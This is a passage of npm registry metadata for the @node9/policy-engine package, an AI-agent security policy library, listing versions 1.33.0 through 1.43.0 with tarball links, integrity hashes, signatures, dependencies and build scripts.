firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.33.0_1781337966773_0.8730699178789114","host":"s3://npm-registry-packages-npm-production"}},"1.34.0":{"name":"@node9/policy-engine","version":"1.34.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.34.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"2f0edec251eff228c042466590fdeee673d73fc0","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.34.0.tgz","fileCount":7,"integrity":"sha512-/OWXnae6/RUpoESntv6aqbf/wwpoa0UPwRlGF46uv75d1gNBXoVK0r6347XRUg/CIoVphAWDcG0H3r5HvVL30g==","signatures":[{"sig":"MEYCIQDVtJdHjX/AWbLAB6buboQpInJFk1f3CYdk7Ja3AQRaxAIhALG62AAwftQcTK2KS1tnQ2cwHf/zBS9USQHfwGpnNsgt","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.34.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":352230},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"af145f178676eefe8b163cab03db80f87cfdc159","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.34.0_1781438293260_0.5108791618194091","host":"s3://npm-registry-packages-npm-production"}},"1.35.0":{"name":"@node9/policy-engine","version":"1.35.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.35.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"ed35e00836ebc761db6c4492ae1c2f06e486071f","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.35.0.tgz","fileCount":7,"integrity":"sha512-b5hYa/PRsV8Jh+RH57FE11qAIc5zEcKPCvJpi1iDmfBtlYEMY+ALIwZvouJfREJnV5J0h6jPrRAcrCFkM5ec0Q==","signatures":[{"sig":"MEQCIDFTpwFcuOsy2uNvv72orjye+cAUDO6auoaFeGkHCWORAiA/xww08Wc9BnwJGI2Ed8uMPdyIo5eNo9vJax0apHVgkw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.35.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":352230},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0e29da697638769dc011cba5b54f303189661e71","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.35.0_1781503688606_0.6111958053022277","host":"s3://npm-registry-packages-npm-production"}},"1.35.1":{"name":"@node9/policy-engine","version":"1.35.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.35.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"8c2009007e7bd832c7f539c9249f447f945c7027","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.35.1.tgz","fileCount":7,"integrity":"sha512-HEq98tXgiQeQIYbAGPa1sCHSEpJFgVBUdy+QhTSYlCY9/zwbQvzjMmfgxME400A6Bh1Lj+gx2xHoJ1B6v/0ILw==","signatures":[{"sig":"MEUCIBr6Og69swnMSc/HTB53aXUrSbJblW1vYjUwrXmnvNNSAiEAgVfmdYE/2Ez3KKk1D5e40bIReIfhj6GLzEw7+V5Myc8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.35.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":352230},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f516ae7952da484a9404ff97ba2d1da80535a962","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.35.1_1781505579593_0.29692326391863877","host":"s3://npm-registry-packages-npm-production"}},"1.35.2":{"name":"@node9/policy-engine","version":"1.35.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.35.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"664f63ad09619c62b750151c1b469e6727cad2fd","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.35.2.tgz","fileCount":7,"integrity":"sha512-mnn0ZZh8o4BghvERzTT6v3atWjxUXe9wYJRK3Tvl+Pwt//PM7Hsq5FRKqtWnDlns8r9NedPctXAnCU8tvJjGIA==","signatures":[{"sig":"MEUCIQDRTtrO/AqmBPc9QYJRmmZUio/3jHQHTD0nNS3AzrH4rgIgLlkJI5vCGf6f4B+lFpb7pgVm9oYEa0nPsTHQG5jW2Kk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.35.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":352230},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"33f4ee3dc6016608cef036c7174e41fd1f4357cb","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.35.2_1781523874569_0.8404870619004268","host":"s3://npm-registry-packages-npm-production"}},"1.36.0":{"name":"@node9/policy-engine","version":"1.36.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.36.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"96d575d623e97c5224743285e4ffb87f573afd4e","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.36.0.tgz","fileCount":7,"integrity":"sha512-vtDJVidzCkQuniqyH4MotUo1PEf9nRVR10rn30Uo1nsD684eZDlYRsoFf4nYyu4cxvgRzRkTqJmfsxMSYzDG7Q==","signatures":[{"sig":"MEYCIQD2FJfjKfcnKjvPZVBYZQtNJHv93QjfB6lZxFBYkGugRgIhAJOaocEo7JrqZDj4Mv3TWuQqvt2nIeXMxlVMx3HHBa/f","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.36.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":352230},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1d8d4bdec2cf914d63bea2b9031f02a8bedc1fc5","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.36.0_1781544306681_0.7969873969587555","host":"s3://npm-registry-packages-npm-production"}},"1.37.0":{"name":"@node9/policy-engine","version":"1.37.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.37.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"e47207a8eaf5001fbb4bd5d097db989e4f5cb117","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.37.0.tgz","fileCount":7,"integrity":"sha512-Ofz4cHY+gOfdOtn0qmPSjJqgSexBF92stG16ihpuCLDWQvaL/HTG95aqGrWVEJpmVmb5rvMSzYJ43bOp7dXJJg==","signatures":[{"sig":"MEYCIQDsAfw/FqPtIaoJuMawOKlZeFZKj3N64txafqd5ofpVsgIhAJ8UoSxDeFQ9fwUvUjXg84oOk612jcN/9LGpdNOhExU9","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.37.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":352230},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3bcf817ec4b459978ab376f69c5e87e93e0adfc8","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.37.0_1781719628032_0.6360578161656667","host":"s3://npm-registry-packages-npm-production"}},"1.38.0":{"name":"@node9/policy-engine","version":"1.38.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.38.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"566dec2b51de662cf1e1acc84f7dfe7a1541e6e8","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.38.0.tgz","fileCount":7,"integrity":"sha512-6t132dD0Nb1BK0LPNuwCZyQVzpih7qSBTniIC1hA+gMV1Qkm3uVF3dCU80aqi+gpIg6VVQrLglUM3VDluvx8tQ==","signatures":[{"sig":"MEYCIQCCkgX09GPCXef8J1znovouukAfBhwSuu78J3Jt13KAcAIhALpzUpp6NKSWSG0B9mPQi6UO1E26DccJpYIFJoqFS0pz","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.38.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":358290},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"4fd72aa9adfbd6bb046405f7c646f1279ac1772c","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.38.0_1781773060070_0.694372375539366","host":"s3://npm-registry-packages-npm-production"}},"1.39.0":{"name":"@node9/policy-engine","version":"1.39.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.39.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"59b37d2324f17ad3bf9626035fd727c90e277f9e","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.39.0.tgz","fileCount":7,"integrity":"sha512-zKHHAV1TsBfoLi2g/Fd7G2mX8klLIUHUuSqnvdZpNy1urvQ35Xf0o/PB4MN14pbwnXwYs+16/D7pTnzPAcZ7Wg==","signatures":[{"sig":"MEQCIFQ66x7cqZF0G2fKdhV2CcW1NWkxXFF/XexGk6o2WF58AiBtUaQBNr/dBRJnB+eMUiuIjosLS9cBhju3/iiYvFISLQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.39.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":358290},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9bec22f355b85467324ea51901810108e2e5c33c","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.39.0_1781799283415_0.5673621681147683","host":"s3://npm-registry-packages-npm-production"}},"1.40.0":{"name":"@node9/policy-engine","version":"1.40.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.40.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"f3b5186e0173ea4cbbe10681b2e2ca24043776dd","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.40.0.tgz","fileCount":7,"integrity":"sha512-dW6iEd9vjGqDGWlr7C9wDpkywORxEnDdS4rg+zKtBF4nkA1+iiWmIuaeDpvpjpktx9/EqMGNYiQ6VUlRfmvPTw==","signatures":[{"sig":"MEUCIB9AU+ft5prPvSWrr4nZrlhPcMKDHR7Mt21LtFQJzJl6AiEArCJ0IGBVG8y7EJCF5seVqajM6YWnOqK82+9UO2lxgnU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.40.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":358290},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"4285910f6f765d730fdc091ddb7a2c95d4fee664","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.40.0_1782142647768_0.38637437480337544","host":"s3://npm-registry-packages-npm-production"}},"1.41.0":{"name":"@node9/policy-engine","version":"1.41.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.41.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"b8d297f81a006de5c027e068bc91baf074493c49","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.41.0.tgz","fileCount":7,"integrity":"sha512-8NZpl9Hbc2P1cqwqAQNMPaiwGfGoLZqsdBJJGc4QyrKJOwr7NzKyGMHKaUDnQM4ildoRefjcakRXUwbu1GFUfA==","signatures":[{"sig":"MEQCIA4y2ceRxq9bDpIGem7lCKJNeJa5dzMPB2psLErhTGX3AiBEPxVN/rxlqELvlRdapY9M4lZlUs4uz8fCb3wcDc04Bw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.41.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":358290},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0692b36705d4c29cde55c6ec3690bf57455710f9","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.41.0_1782450801494_0.5631270702044116","host":"s3://npm-registry-packages-npm-production"}},"1.42.0":{"name":"@node9/policy-engine","version":"1.42.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.42.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"71546245788d357e1e91076e8415221e8d51a5e5","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.42.0.tgz","fileCount":7,"integrity":"sha512-Hx8Os4psVSbuV+8y8VcNlNwIOkMLEOthJ7L+dX70eShOEGPa+i6BaClyREQug32y7IrWVhrrtFNH06XQqo1vDA==","signatures":[{"sig":"MEYCIQCFG4W9hosiG/phYDdPW0/STtSfAFccUhh5BbqyLB3n7gIhALhN2BVwicKXI1LS9ifZfQtbf88JOwko1+xjVWY2zEim","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.42.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":358290},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b5261456009925b28cd9fcc745c93f713c57dd5f","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.17.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.42.0_1782455042172_0.6447743645449433","host":"s3://npm-registry-packages-npm-production"}},"1.43.0":{"name":"@node9/policy-engine","version":"1.43.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.43.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"7bf211f8b747c0f2abdd8c395b661713e8f9111a","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.43.0.tgz","fileCount":7,"integrity":"sha512-OD4X44UxUXwuLfDX+ya2eARh8n825d2MEN1URzL8d2NtpmTEp0Sfcnr4vvDx9xVZfjAE0v9U0Ubs9zBaqyHj9A==","signatures":[{"sig":"MEYCIQC5WZiqOLES0gGIeHeKGyy66y92gpU8HSO7ax4vrGfUYgIhAJoc2WExTyyh90utknrX7H43p0B9NjkerYEQrpRKqfEC","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.43.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":358290},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0b29809f7c3ce53c94cbe272c378e788f5ae7ecd","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub 